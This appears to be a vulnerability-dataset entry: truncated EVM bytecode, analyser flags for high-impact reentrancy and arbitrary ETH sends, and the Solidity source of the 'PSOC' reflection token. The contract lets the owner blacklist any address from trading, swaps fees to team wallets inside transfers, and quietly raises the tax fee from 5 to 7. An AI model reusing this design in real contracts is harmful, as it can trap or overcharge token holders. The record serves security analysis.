fffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a90612fd9565b60405180910390fd5b600081116111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612f99565b60405180910390fd5b6111d460646111c683678ac7230489e800006120f690919063ffffffff16565b61217190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120b9190613079565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90613039565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c90612f59565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114639190613079565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790613019565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611550576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154790612ef9565b60405180910390fd5b60008111611593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158a90612ff9565b60405180910390fd5b61159b610fd0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160957506115d9610fd0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6c57600f60179054906101000a900460ff161561183c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e55750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561173f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183b57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178561129d565b73ffffffffffffffffffffffffffffffffffffffff1614806117fb5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e361129d565b73ffffffffffffffffffffffffffffffffffffffff16145b61183a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183190613059565b60405180910390fd5b5b5b60105481111561184b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ef5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f857600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a115750600f60179054906101000a900460ff165b15611ab25742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6157600080fd5b601e42611a6e91906131af565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611abd30610e2c565b9050600f60159054906101000a900460ff16158015611b2a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b425750600f60169054906101000a900460ff165b15611b6a57611b5081611dfc565b60004790506000811115611b6857611b6747611c93565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c135750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1d57600090505b611c29848484846121bb565b50505050565b6000838311158290611c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6e9190612ed7565b60405180910390fd5b5060008385611c869190613290565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce360028461217190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d0e573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5f60028461217190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8a573d6000803e3d6000fd5b5050565b6000600654821115611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc90612f39565b60405180910390fd5b6000611ddf6121e8565b9050611df4818461217190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e885781602001602082028036833780820191505090505b5090503081600081518110611ec6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6857600080fd5b505afa158015611f7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa09190612946565b81600181518110611fda577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a5959493929190613094565b600060405180830381600087803b1580156120bf57600080fd5b505af11580156120d3573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600080831415612109576000905061216b565b600082846121179190613236565b90508284826121269190613205565b14612166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215d90612fb9565b60405180910390fd5b809150505b92915050565b60006121b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612213565b905092915050565b806121c9576121c8612276565b5b6121d48484846122a7565b806121e2576121e1612472565b5b50505050565b60008060006121f5612484565b9150915061220c818361217190919063ffffffff16565b9250505090565b6000808311829061225a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122519190612ed7565b60405180910390fd5b50600083856122699190613205565b9050809150509392505050565b600060085414801561228a57506000600954145b15612294576122a5565b600060088190555060006009819055505b565b6000806000806000806122b9876124e3565b95509550955095509550955061231786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ac85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123f8816125f3565b61240284836126b0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161245f9190613079565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000678ac7230489e8000090506124b8678ac7230489e8000060065461217190919063ffffffff16565b8210156124d657600654678ac7230489e800009350935050506124df565b81819350935050505b9091565b60008060008060008060008060006125008a6008546009546126ea565b92509250925060006125106121e8565b905060008060006125238e878787612780565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2f565b905092915050565b60008082846125a491906131af565b9050838110156125e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e090612f79565b60405180910390fd5b8091505092915050565b60006125fd6121e8565b9050600061261482846120f690919063ffffffff16565b905061266881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126c58260065461254b90919063ffffffff16565b6006819055506126e08160075461259590919063ffffffff16565b6007819055505050565b6000806000806127166064612708888a6120f690919063ffffffff16565b61217190919063ffffffff16565b905060006127406064612732888b6120f690919063ffffffff16565b61217190919063ffffffff16565b905060006127698261275b858c61254b90919063ffffffff16565b61254b90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279985896120f690919063ffffffff16565b905060006127b086896120f690919063ffffffff16565b905060006127c787896120f690919063ffffffff16565b905060006127f0826127e2858761254b90919063ffffffff16565b61254b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061281c6128178461312e565b613109565b9050808382526020820190508285602086028201111561283b57600080fd5b60005b8581101561286b57816128518882612875565b84526020840193506020830192505060018101905061283e565b5050509392505050565b6000813590506128848161376c565b92915050565b6000815190506128998161376c565b92915050565b600082601f8301126128b057600080fd5b81356128c0848260208601612809565b91505092915050565b6000813590506128d881613783565b92915050565b6000815190506128ed81613783565b92915050565b6000813590506129028161379a565b92915050565b6000815190506129178161379a565b92915050565b60006020828403121561292f57600080fd5b600061293d84828501612875565b91505092915050565b60006020828403121561295857600080fd5b60006129668482850161288a565b91505092915050565b6000806040838503121561298257600080fd5b600061299085828601612875565b92505060206129a185828601612875565b9150509250929050565b6000806000606084860312156129c057600080fd5b60006129ce86828701612875565b93505060206129df86828701612875565b92505060406129f0868287016128f3565b9150509250925092565b60008060408385031215612a0d57600080fd5b6000612a1b85828601612875565b9250506020612a2c858286016128f3565b9150509250929050565b600060208284031215612a4857600080fd5b600082013567ffffffffffffffff811115612a6257600080fd5b612a6e8482850161289f565b91505092915050565b600060208284031215612a8957600080fd5b6000612a97848285016128c9565b91505092915050565b600060208284031215612ab257600080fd5b6000612ac0848285016128de565b91505092915050565b600060208284031215612adb57600080fd5b6000612ae9848285016128f3565b91505092915050565b600080600060608486031215612b0757600080fd5b6000612b1586828701612908565b9350506020612b2686828701612908565b9250506040612b3786828701612908565b9150509250925092565b6000612b4d8383612b59565b60208301905092915050565b612b62816132c4565b82525050565b612b71816132c4565b82525050565b6000612b828261316a565b612b8c818561318d565b9350612b978361315a565b8060005b83811015612bc8578151612baf8882612b41565b9750612bba83613180565b925050600181019050612b9b565b5085935050505092915050565b612bde816132d6565b82525050565b612bed81613319565b82525050565b6000612bfe82613175565b612c08818561319e565b9350612c1881856020860161332b565b612c2181613465565b840191505092915050565b6000612c3960238361319e565b9150612c4482613476565b604082019050919050565b6000612c5c601a8361319e565b9150612c67826134c5565b602082019050919050565b6000612c7f602a8361319e565b9150612c8a826134ee565b604082019050919050565b6000612ca260228361319e565b9150612cad8261353d565b604082019050919050565b6000612cc5601b8361319e565b9150612cd08261358c565b602082019050919050565b6000612ce8601d8361319e565b9150612cf3826135b5565b602082019050919050565b6000612d0b60218361319e565b9150612d16826135de565b604082019050919050565b6000612d2e60208361319e565b9150612d398261362d565b602082019050919050565b6000612d5160298361319e565b9150612d5c82613656565b604082019050919050565b6000612d7460258361319e565b9150612d7f826136a5565b604082019050919050565b6000612d9760248361319e565b9150612da2826136f4565b604082019050919050565b6000612dba60118361319e565b9150612dc582613743565b602082019050919050565b612dd981613302565b82525050565b612de88161330c565b82525050565b6000602082019050612e036000830184612b68565b92915050565b6000604082019050612e1e6000830185612b68565b612e2b6020830184612b68565b9392505050565b6000604082019050612e476000830185612b68565b612e546020830184612dd0565b9392505050565b600060c082019050612e706000830189612b68565b612e7d6020830188612dd0565b612e8a6040830187612be4565b612e976060830186612be4565b612ea46080830185612b68565b612eb160a0830184612dd0565b979650505050505050565b6000602082019050612ed16000830184612bd5565b92915050565b60006020820190508181036000830152612ef18184612bf3565b905092915050565b60006020820190508181036000830152612f1281612c2c565b9050919050565b60006020820190508181036000830152612f3281612c4f565b9050919050565b60006020820190508181036000830152612f5281612c72565b9050919050565b60006020820190508181036000830152612f7281612c95565b9050919050565b60006020820190508181036000830152612f9281612cb8565b9050919050565b60006020820190508181036000830152612fb281612cdb565b9050919050565b60006020820190508181036000830152612fd281612cfe565b9050919050565b60006020820190508181036000830152612ff281612d21565b9050919050565b6000602082019050818103600083015261301281612d44565b9050919050565b6000602082019050818103600083015261303281612d67565b9050919050565b6000602082019050818103600083015261305281612d8a565b9050919050565b6000602082019050818103600083015261307281612dad565b9050919050565b600060208201905061308e6000830184612dd0565b92915050565b600060a0820190506130a96000830188612dd0565b6130b66020830187612be4565b81810360408301526130c88186612b77565b90506130d76060830185612b68565b6130e46080830184612dd0565b9695505050505050565b60006020820190506131036000830184612ddf565b92915050565b6000613113613124565b905061311f828261335e565b919050565b6000604051905090565b600067ffffffffffffffff82111561314957613148613436565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ba82613302565b91506131c583613302565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131fa576131f96133d8565b5b828201905092915050565b600061321082613302565b915061321b83613302565b92508261322b5761322a613407565b5b828204905092915050565b600061324182613302565b915061324c83613302565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613285576132846133d8565b5b828202905092915050565b600061329b82613302565b91506132a683613302565b9250828210156132b9576132b86133d8565b5b828203905092915050565b60006132cf826132e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332482613302565b9050919050565b60005b8381101561334957808201518184015260208101905061332e565b83811115613358576000848401525b50505050565b61336782613465565b810181811067ffffffffffffffff8211171561338657613385613436565b5b80604052505050565b600061339a82613302565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133cd576133cc6133d8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613775816132c4565b811461378057600080fd5b50565b61378c816132d6565b811461379757600080fd5b50565b6137a381613302565b81146137ae57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0b269b876e2c7a6c79897155be0183be49da7d874a6b0acd03855b109bb481c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,118 |
0x9ef41e5197619f3912b3c14c834e3a102f77224e
|
/**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
/*
$PSOC Pet Society Fans Token
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PSOC is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Pet Society Token";
string private constant _symbol = "PSOC";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
